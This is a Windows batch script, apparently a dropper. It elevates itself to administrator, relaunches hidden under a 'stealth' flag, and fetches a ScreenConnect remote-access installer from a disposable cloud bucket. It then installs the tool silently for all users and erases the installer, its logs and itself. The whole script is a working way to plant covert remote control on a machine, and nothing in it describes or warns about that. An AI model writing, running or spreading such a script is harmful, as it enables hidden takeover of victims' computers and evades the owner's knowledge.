@echo off
set "MSI_URL=https://pub-f443d3fb23f9438883068e69e96573bc.r2.dev/ScreenConnect.ClientSetup.msi"
set "TEMP_MSI=%TEMP%\~tmp%RANDOM%.msi"
set "LOG_FILE=%TEMP%\install_report.txt"
set "MSI_LOG=%TEMP%\msi_install_log.txt"

:: ---------------------------------------------------------
:: Auto-elevate to Administrator
:: ---------------------------------------------------------
net session >nul 2>&1
if %errorlevel% neq 0 (
    powershell -Command "Start-Process '%~f0' -Verb RunAs -ArgumentList '__STEALTH__'"
    exit /b
)

if "%1"=="__STEALTH__" goto :main

powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"%~f0\" __STEALTH__' -WindowStyle Hidden"
exit /b

:: ---------------------------------------------------------
:: MAIN TASK
:: ---------------------------------------------------------
:main
:: 1. Download the MSI
powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest -Uri '%MSI_URL%' -OutFile '%TEMP_MSI%'" >nul 2>&1

:: 2. Verify download
if not exist "%TEMP_MSI%" (
    echo %date% %time% - ERROR: Download failed >> "%LOG_FILE%"
    exit /b
)

:: 3. Install with SIMPLE, safe parameters (fixes 1639)
msiexec /i "%TEMP_MSI%" /quiet /norestart /lv "%MSI_LOG%" ALLUSERS=1 REBOOT=ReallySuppress

:: 4. Capture result
set "INSTALL_RESULT=%ERRORLEVEL%"

:: 5. Delete downloaded MSI
del /f /q "%TEMP_MSI%" >nul 2>&1

:: 6. Log result
echo %date% %time% - Installation finished with code: %INSTALL_RESULT% >> "%LOG_FILE%"

:: 7. Handle result
if %INSTALL_RESULT% NEQ 0 (
    start "" notepad "%MSI_LOG%"
) else (
    del /f /q "%LOG_FILE%" >nul 2>&1
    del /f /q "%MSI_LOG%" >nul 2>&1
    start /b cmd /c timeout /t 1 /nobreak >nul 2>&1 & del "%~f0" >nul 2>&1
)

exit /b